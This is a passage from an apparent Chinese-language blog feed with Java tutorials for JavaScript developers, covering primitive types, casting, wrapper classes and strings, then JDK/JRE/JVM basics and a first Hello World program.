&lt;td&gt;4 字节&lt;/td&gt;
&lt;td&gt;约 7 位有效数字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.0f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;浮点&lt;/td&gt;
&lt;td&gt;&lt;code&gt;double&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8 字节&lt;/td&gt;
&lt;td&gt;约 15 位有效数字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;（默认）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;字符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;char&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2 字节&lt;/td&gt;
&lt;td&gt;单个 UTF-16 字符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;\u0000&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;布尔&lt;/td&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;未定义&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt; / &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;几个必须记住的字面量写法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int decimal = 100;              // 十进制
int hex = 0xFF;                 // 十六进制 = 255
int binary = 0b1010;            // 二进制 = 10
int octal = 017;                // 八进制 = 15
int million = 1_000_000;        // 下划线分隔，提高可读性（JDK 7+）

long bigNumber = 9_000_000_000L;   // 必须加 L 后缀，否则被当成 int 溢出
float pi = 3.14f;                  // 必须加 f 后缀，否则被当成 double
double e = 2.718;                  // 默认就是 double
double exp = 1.6e-19;              // 科学计数法

char grade = &apos;A&apos;;                  // 单引号，只能一个字符
char unicode = &apos;\u4e2d&apos;;           // Unicode 转义 = &quot;中&quot;
char newline = &apos;\n&apos;;               // 常见转义字符

boolean done = true;               // 只有 true/false，不像 JS 有 truthy/falsy
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Java 里 &lt;code&gt;boolean&lt;/code&gt; &lt;strong&gt;不能&lt;/strong&gt;跟数字互转。JS 中 &lt;code&gt;if (1)&lt;/code&gt; 是真的，Java 里会直接编译报错：&lt;code&gt;incompatible types: int cannot be converted to boolean&lt;/code&gt;。所有条件判断必须是明确的 &lt;code&gt;boolean&lt;/code&gt; 表达式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;整数溢出：JS 里很少见的坑&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;int&lt;/code&gt; 是 32 位有符号，最大约 21 亿。超过就溢出，从最小值开始绕回：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int max = Integer.MAX_VALUE;   // 2147483647
System.out.println(max + 1);   // -2147483648  ← 溢出！

// 大数用 long
long big = 3_000_000_000L;     // ✅
// long wrong = 3_000_000_000; // ❌ 编译报错：integer number too large
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS 里的 &lt;code&gt;Number.MAX_SAFE_INTEGER&lt;/code&gt; 是 9 千万亿（&lt;code&gt;2^53 - 1&lt;/code&gt;），因为它是双精度浮点。Java 想要类似的能力就用 &lt;code&gt;long&lt;/code&gt;，或者更大的用 &lt;code&gt;BigInteger&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.math.BigInteger;

BigInteger huge = new BigInteger(&quot;123456789012345678901234567890&quot;);
BigInteger result = huge.multiply(BigInteger.TEN);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;浮点数不精确：跟 JS 一样&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;0.1 + 0.2 != 0.3&lt;/code&gt; 这个坑 Java 也有，因为都遵循 IEEE 754：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;System.out.println(0.1 + 0.2);          // 0.30000000000000004
System.out.println(0.1 + 0.2 == 0.3);   // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;涉及金额的场景永远用 &lt;code&gt;BigDecimal&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.math.BigDecimal;

BigDecimal a = new BigDecimal(&quot;0.1&quot;);   // 注意传字符串，传 double 会带误差
BigDecimal b = new BigDecimal(&quot;0.2&quot;);
System.out.println(a.add(b));           // 0.3 精确
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;类型转换&lt;/h2&gt;
&lt;h3&gt;自动类型转换（隐式）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;小范围 → 大范围&lt;/strong&gt;会自动转，不会丢精度：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;byte b = 100;
int i = b;         // byte → int，自动
long l = i;        // int → long，自动
double d = l;      // long → double，自动
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转换链：&lt;code&gt;byte → short → int → long → float → double&lt;/code&gt;，&lt;code&gt;char → int&lt;/code&gt; 也可以自动。&lt;/p&gt;
&lt;h3&gt;强制类型转换（显式）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;大范围 → 小范围&lt;/strong&gt;必须强制转换，可能丢精度或溢出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;double pi = 3.14;
int intPi = (int) pi;       // 3，小数部分被截断（不是四舍五入）

long big = 200L;
int small = (int) big;      // 200

// 危险的溢出
long tooBig = 3_000_000_000L;
int overflow = (int) tooBig;   // -1294967296，值完全不对
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想要四舍五入用 &lt;code&gt;Math.round&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int rounded = (int) Math.round(3.6);   // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字符串与数字互转&lt;/h3&gt;
&lt;p&gt;Java 没有 JS 那种 &lt;code&gt;Number(&quot;123&quot;)&lt;/code&gt; 或 &lt;code&gt;&quot;123&quot; * 1&lt;/code&gt; 的隐式转换，必须显式调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 字符串 → 数字（用包装类的静态方法）
int n = Integer.parseInt(&quot;123&quot;);
double d = Double.parseDouble(&quot;3.14&quot;);
long l = Long.parseLong(&quot;9999999999&quot;);

// 数字 → 字符串
String s1 = String.valueOf(123);
String s2 = 123 + &quot;&quot;;         // 拼接空串也可以，但不推荐
String s3 = Integer.toString(123);

// 非法字符串会抛异常
try {
    int bad = Integer.parseInt(&quot;abc&quot;);   // NumberFormatException
} catch (NumberFormatException e) {
    System.out.println(&quot;转换失败：&quot; + e.getMessage());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;包装类与自动装箱&lt;/h2&gt;
&lt;p&gt;每种基本类型都有一个对应的&lt;strong&gt;包装类&lt;/strong&gt;（wrapper class），让基本类型也能&quot;像对象一样用&quot;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;基本类型&lt;/th&gt;
&lt;th&gt;包装类&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;byte&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Byte&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;short&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Short&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Integer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Long&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;float&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Float&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;double&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Double&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;char&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Character&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Boolean&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;自动装箱&lt;/strong&gt;（autoboxing）：基本类型 → 包装类，编译器帮你调用 &lt;code&gt;Integer.valueOf()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Integer wrapped = 42;          // 自动装箱：Integer.valueOf(42)
int unwrapped = wrapped;       // 自动拆箱：wrapped.intValue()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;包装类的主要用处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;集合只能装对象&lt;/strong&gt;：&lt;code&gt;List&amp;lt;Integer&amp;gt;&lt;/code&gt; 可以，&lt;code&gt;List&amp;lt;int&amp;gt;&lt;/code&gt; 不行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提供常量和静态工具方法&lt;/strong&gt;：&lt;code&gt;Integer.MAX_VALUE&lt;/code&gt;、&lt;code&gt;Integer.parseInt&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;允许为 null&lt;/strong&gt;：&lt;code&gt;int&lt;/code&gt; 不能是 &lt;code&gt;null&lt;/code&gt;，&lt;code&gt;Integer&lt;/code&gt; 可以（数据库字段常用）。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
自动装箱有个陷阱——&lt;strong&gt;用 &lt;code&gt;==&lt;/code&gt; 比较包装类&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Integer a = 100;
Integer b = 100;
System.out.println(a == b);       // true（-128~127 有缓存）

Integer c = 200;
Integer d = 200;
System.out.println(c == d);       // false（超出缓存范围，是两个不同对象）
System.out.println(c.equals(d));  // true ← 永远用 equals
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记住一句话：&lt;strong&gt;包装类的相等判断永远用 &lt;code&gt;.equals()&lt;/code&gt;，不用 &lt;code&gt;==&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;var：类型推断&lt;/h2&gt;
&lt;p&gt;从 JDK 10 开始，可以用 &lt;code&gt;var&lt;/code&gt; 让编译器推断类型，类似 TS 的推断：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var name = &quot;Tom&quot;;         // 推断为 String
var age = 25;             // 推断为 int
var list = new ArrayList&amp;lt;String&amp;gt;();   // 推断为 ArrayList&amp;lt;String&amp;gt;

// 但 var 不是&quot;动态类型&quot;！类型在编译期已经确定，之后不能变
var x = 10;
// x = &quot;hello&quot;;   // ❌ 编译报错：incompatible types
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;var&lt;/code&gt; 使用建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 右边类型很明显时用（&lt;code&gt;new&lt;/code&gt;、字面量、静态工厂方法）&lt;/li&gt;
&lt;li&gt;❌ 右边是方法调用且返回类型不直观时不用&lt;/li&gt;
&lt;li&gt;❌ 不能用于类字段、方法参数、返回类型（只能用于&lt;strong&gt;局部变量&lt;/strong&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;字符串：不可变的对象&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;String&lt;/code&gt; 不是基本类型，是 &lt;code&gt;java.lang.String&lt;/code&gt; 类的对象。它最重要的特性是&lt;strong&gt;不可变&lt;/strong&gt;（immutable）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String s = &quot;hello&quot;;
s.concat(&quot; world&quot;);          // 返回新字符串 &quot;hello world&quot;
System.out.println(s);       // 仍然是 &quot;hello&quot;，原字符串没变

s = s.concat(&quot; world&quot;);      // 必须重新赋值
System.out.println(s);       // &quot;hello world&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字符串常量池&lt;/h3&gt;
&lt;p&gt;Java 会把字面量字符串放到&lt;strong&gt;常量池&lt;/strong&gt;（string pool）里复用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String a = &quot;hello&quot;;
String b = &quot;hello&quot;;
String c = new String(&quot;hello&quot;);

System.out.println(a == b);       // true，指向常量池同一个对象
System.out.println(a == c);       // false，c 是堆里的新对象
System.out.println(a.equals(c));  // true，内容相等
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次强调：&lt;strong&gt;比较字符串内容永远用 &lt;code&gt;.equals()&lt;/code&gt;&lt;/strong&gt;，&lt;code&gt;==&lt;/code&gt; 是比引用地址。&lt;/p&gt;
&lt;h3&gt;字符串拼接的性能&lt;/h3&gt;
&lt;p&gt;循环里用 &lt;code&gt;+&lt;/code&gt; 拼接会产生大量临时对象，性能差：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 慢：每次循环创建新 String
String result = &quot;&quot;;
for (int i = 0; i &amp;lt; 10000; i++) {
    result += i;
}

// ✅ 快：StringBuilder 内部是可变的字符数组
StringBuilder sb = new StringBuilder();
for (int i = 0; i &amp;lt; 10000; i++) {
    sb.append(i);
}
String result = sb.toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;单行拼接可以直接用 &lt;code&gt;+&lt;/code&gt;（编译器会优化成 &lt;code&gt;StringBuilder&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String greeting = &quot;Hello, &quot; + name + &quot;! You are &quot; + age + &quot; years old.&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;格式化字符串&lt;/h3&gt;
&lt;p&gt;Java 没有 JS 的模板字符串 &lt;code&gt;`hi ${name}`&lt;/code&gt;，用 &lt;code&gt;String.format&lt;/code&gt; 或 JDK 15+ 的 &lt;code&gt;formatted&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String name = &quot;Tom&quot;;
int age = 25;

// 方式一：String.format（类似 C 的 printf）
String s1 = String.format(&quot;Hello, %s! You are %d years old.&quot;, name, age);

// 方式二：formatted（JDK 15+，链式调用更顺手）
String s2 = &quot;Hello, %s! You are %d years old.&quot;.formatted(name, age);

// 常用占位符：
// %s 字符串   %d 整数   %f 浮点   %b 布尔   %c 字符   %% 百分号本身
// %.2f 保留两位小数   %5d 右对齐宽度 5   %-5d 左对齐
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用字符串方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;String s = &quot;Hello, World&quot;;

s.length();                  // 12（属性 length 是数组用的，字符串是方法 length()）
s.charAt(0);                 // &apos;H&apos;
s.substring(7);              // &quot;World&quot;
s.substring(0, 5);           // &quot;Hello&quot;，左闭右开
s.indexOf(&quot;World&quot;);          // 7
s.contains(&quot;World&quot;);         // true
s.startsWith(&quot;He&quot;);          // true
s.endsWith(&quot;ld&quot;);            // true
s.replace(&quot;World&quot;, &quot;Java&quot;);  // &quot;Hello, Java&quot;
s.replaceAll(&quot;\\s+&quot;, &quot;-&quot;);   // 正则替换
s.split(&quot;, &quot;);               // [&quot;Hello&quot;, &quot;World&quot;]
s.trim();                    // 去掉两端空白
s.toUpperCase();             // &quot;HELLO, WORLD&quot;
s.toLowerCase();             // &quot;hello, world&quot;
String.join(&quot;-&quot;, &quot;a&quot;,&quot;b&quot;,&quot;c&quot;);  // &quot;a-b-c&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数组快速一瞥&lt;/h2&gt;
&lt;p&gt;数组的详细用法放在阶段四，这里先见一面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[] nums = new int[5];          // 长度 5，全是 0
int[] primes = {2, 3, 5, 7};      // 直接初始化
String[] names = new String[3];   // 长度 3，全是 null

nums.length;      // 5，注意 length 是**字段**不是方法
nums[0] = 10;     // 索引访问
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数组长度&lt;strong&gt;固定不变&lt;/strong&gt;，想要动态数组用 &lt;code&gt;ArrayList&lt;/code&gt;（阶段八讲）。&lt;/p&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;p&gt;一分钟回忆本阶段所有关键点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 8 种基本类型
byte b = 1;  short s = 1;  int i = 1;  long l = 1L;
float f = 1.0f;  double d = 1.0;
char c = &apos;A&apos;;  boolean bool = true;

// 字面量后缀
long big = 100L;
float pi = 3.14f;
int million = 1_000_000;

// 常量
final double E = 2.718;

// var 类型推断（仅局部变量）
var name = &quot;Tom&quot;;   // String

// 类型转换
int n = (int) 3.99;         // 3（截断）
int rounded = (int) Math.round(3.99);   // 4
int parsed = Integer.parseInt(&quot;123&quot;);
String str = String.valueOf(123);

// 包装类
Integer boxed = 42;         // 自动装箱
int unboxed = boxed;        // 自动拆箱
boxed.equals(42);           // ✅ 比较用 equals

// 字符串
String greeting = &quot;hi&quot;;
greeting.length();          // 方法不是字段
greeting.equals(&quot;hi&quot;);      // 内容比较永远用 equals
&quot;hi %s&quot;.formatted(name);    // 格式化

// 循环拼接
StringBuilder sb = new StringBuilder();
sb.append(&quot;a&quot;).append(&quot;b&quot;);
sb.toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;8 种基本类型：&lt;code&gt;byte short int long float double char boolean&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;long&lt;/code&gt; 加 &lt;code&gt;L&lt;/code&gt;，&lt;code&gt;float&lt;/code&gt; 加 &lt;code&gt;f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;boolean&lt;/code&gt; 不能与数字互转，条件必须明确&lt;/li&gt;
&lt;li&gt;包装类比较用 &lt;code&gt;.equals()&lt;/code&gt;，不用 &lt;code&gt;==&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串不可变，循环拼接用 &lt;code&gt;StringBuilder&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串内容比较用 &lt;code&gt;.equals()&lt;/code&gt;，&lt;code&gt;==&lt;/code&gt; 是引用比较&lt;/li&gt;
&lt;li&gt;金额用 &lt;code&gt;BigDecimal&lt;/code&gt;，别用 &lt;code&gt;double&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;var&lt;/code&gt; 只是类型推断，类型仍是静态的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一阶段进入运算符和流程控制，看看 Java 的 &lt;code&gt;if/for/switch&lt;/code&gt; 跟 JS 有哪些细节差异。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段一：JDK、JRE、JVM 与第一个程序</title><link>http://117.72.32.87/blog/posts/java-roadmap-01-env-and-hello/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-01-env-and-hello/</guid><description>先把 Java 是怎么跑起来的搞清楚：JDK / JRE / JVM 三兄弟、字节码、classpath，然后写下第一个 Hello World。</description><pubDate>Wed, 02 Sep 2026 01:00:00 GMT</pubDate><content:encoded>&lt;p&gt;学任何语言之前，先弄明白&quot;我敲的代码到底是怎么变成屏幕上运行的程序的&quot;。JavaScript 是浏览器/V8 直接解释执行，Java 多了一步&quot;编译成字节码&quot;。这个阶段就把这一步彻底讲清楚。&lt;/p&gt;
&lt;h2&gt;JDK、JRE、JVM 到底谁装谁&lt;/h2&gt;
&lt;p&gt;三个缩写经常被混用，其实是三层包含关系：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌────────────────────────────── JDK ──────────────────────────────┐
│  javac 编译器   jdb 调试器   jshell   jar 打包   ...开发工具     │
│                                                                 │
│  ┌─────────────────────────── JRE ───────────────────────────┐  │
│  │  Java 标准库（java.lang、java.util、java.io ...）         │  │
│  │                                                            │  │
│  │  ┌────────────────────── JVM ─────────────────────────┐    │  │
│  │  │  类加载器 → 字节码解释器 / JIT 编译器 → 操作系统    │    │  │
│  │  └────────────────────────────────────────────────────┘    │  │
│  └────────────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JVM&lt;/strong&gt;（Java Virtual Machine）：真正执行字节码的虚拟机，屏蔽操作系统差异。&quot;一次编写，到处运行&quot;就靠它。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JRE&lt;/strong&gt;（Java Runtime Environment）= JVM + Java 标准库。&lt;strong&gt;只想运行 Java 程序&lt;/strong&gt;装它就够了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JDK&lt;/strong&gt;（Java Development Kit）= JRE + 编译器 &lt;code&gt;javac&lt;/code&gt; + 各种开发工具。&lt;strong&gt;要写 Java 代码必须装 JDK&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
JDK 21 之后，Oracle 已经把 JRE 从发行包里拆掉了，日常开发直接装 JDK 即可，不用再纠结选哪个。这个系列用的都是 JDK 21（LTS）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Java 程序的运行流程&lt;/h2&gt;
&lt;p&gt;一个 &lt;code&gt;.java&lt;/code&gt; 文件从源代码到运行结果，中间经过两步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HelloWorld.java  ──[javac 编译]──▶  HelloWorld.class  ──[java 运行]──▶  JVM 执行字节码
    源代码                              字节码                             运行结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比一下熟悉的前端流程：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;Java&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;编写&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HelloWorld.java&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;index.ts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;编译&lt;/td&gt;
&lt;td&gt;&lt;code&gt;javac&lt;/code&gt; 生成 &lt;code&gt;.class&lt;/code&gt; 字节码&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tsc&lt;/code&gt; 生成 &lt;code&gt;.js&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;打包&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jar&lt;/code&gt; 命令打包成 &lt;code&gt;.jar&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vite build&lt;/code&gt; 打包成 &lt;code&gt;dist/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;运行&lt;/td&gt;
&lt;td&gt;JVM 解释或 JIT 编译字节码&lt;/td&gt;
&lt;td&gt;浏览器/Node 解释或 JIT 执行 JS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;区别在于：Java 的字节码是&lt;strong&gt;平台无关&lt;/strong&gt;的中间形式，同一个 &lt;code&gt;.class&lt;/code&gt; 文件在 Windows、Linux、macOS 上都能跑；JS 的产物则是给浏览器/V8 直接吃的文本。&lt;/p&gt;
&lt;h2&gt;第一个程序：Hello World&lt;/h2&gt;
&lt;p&gt;新建 &lt;code&gt;HelloWorld.java&lt;/code&gt;，注意文件名必须和 public 类名&lt;strong&gt;完全一致&lt;/strong&gt;（大小写敏感）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class HelloWorld {
    public static void main(String[] args) {
        System.out.println(&quot;Hello, World!&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译 + 运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javac HelloWorld.java     # 生成 HelloWorld.class
java HelloWorld           # 运行，注意不带 .class 后缀
# 输出：Hello, World!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从 JDK 11 开始还支持&lt;strong&gt;单文件直接运行&lt;/strong&gt;，省去手动编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java HelloWorld.java      # 编译 + 运行一步到位，适合写小脚本
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;逐行拆解代码&lt;/h2&gt;
&lt;p&gt;上面这 5 行看着简单，其实每一处都有说法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class HelloWorld {
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt;：访问修饰符，表示所有类都能访问它。一个 &lt;code&gt;.java&lt;/code&gt; 文件里&lt;strong&gt;最多只能有一个 public 类&lt;/strong&gt;，且文件名必须等于这个类名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;class&lt;/code&gt;：定义一个类。Java 是纯面向对象语言，所有代码都必须写在类里。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HelloWorld&lt;/code&gt;：类名，&lt;strong&gt;大驼峰&lt;/strong&gt;命名（PascalCase）。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;    public static void main(String[] args) {
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;public static&lt;/code&gt;：静态方法，属于类本身而不是类的实例，JVM 启动时直接调用，不需要 &lt;code&gt;new&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;void&lt;/code&gt;：返回类型是&quot;无&quot;。JS 里函数不写 &lt;code&gt;return&lt;/code&gt; 就是返回 &lt;code&gt;undefined&lt;/code&gt;，Java 必须显式声明。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt;：方法名，&lt;strong&gt;JVM 启动时约定的入口方法&lt;/strong&gt;，名字必须是 &lt;code&gt;main&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;String[] args&lt;/code&gt;：命令行参数数组。执行 &lt;code&gt;java HelloWorld a b c&lt;/code&gt; 时，&lt;code&gt;args&lt;/code&gt; 就是 &lt;code&gt;[&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;        System.out.println(&quot;Hello, World!&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;System&lt;/code&gt; 是 &lt;code&gt;java.lang&lt;/code&gt; 包里的类，&lt;code&gt;out&lt;/code&gt; 是它的静态字段（一个 &lt;code&gt;PrintStream&lt;/code&gt; 对象），&lt;code&gt;println&lt;/code&gt; 是这个对象的方法。&lt;/li&gt;
&lt;li&gt;等价于 JS 的 &lt;code&gt;console.log&lt;/code&gt;，但 &lt;code&gt;println&lt;/code&gt; 会自动加换行，&lt;code&gt;print&lt;/code&gt; 不会。&lt;/li&gt;
&lt;li&gt;Java 里字符串用&lt;strong&gt;双引号&lt;/strong&gt;，单引号只表示 &lt;code&gt;char&lt;/code&gt; 字符。这一点跟 JS 反着来，刚开始容易写错。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;常见编译错误对照&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;报错&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;th&gt;JS 里的类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class, interface, enum, or record expected&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;类外写了代码&lt;/td&gt;
&lt;td&gt;顶层没有正确闭合花括号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&apos;;&apos; expected&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;语句末尾漏了分号&lt;/td&gt;
&lt;td&gt;JS 有 ASI 自动补，Java 没有&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cannot find symbol&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;变量/方法/类没导入或拼错&lt;/td&gt;
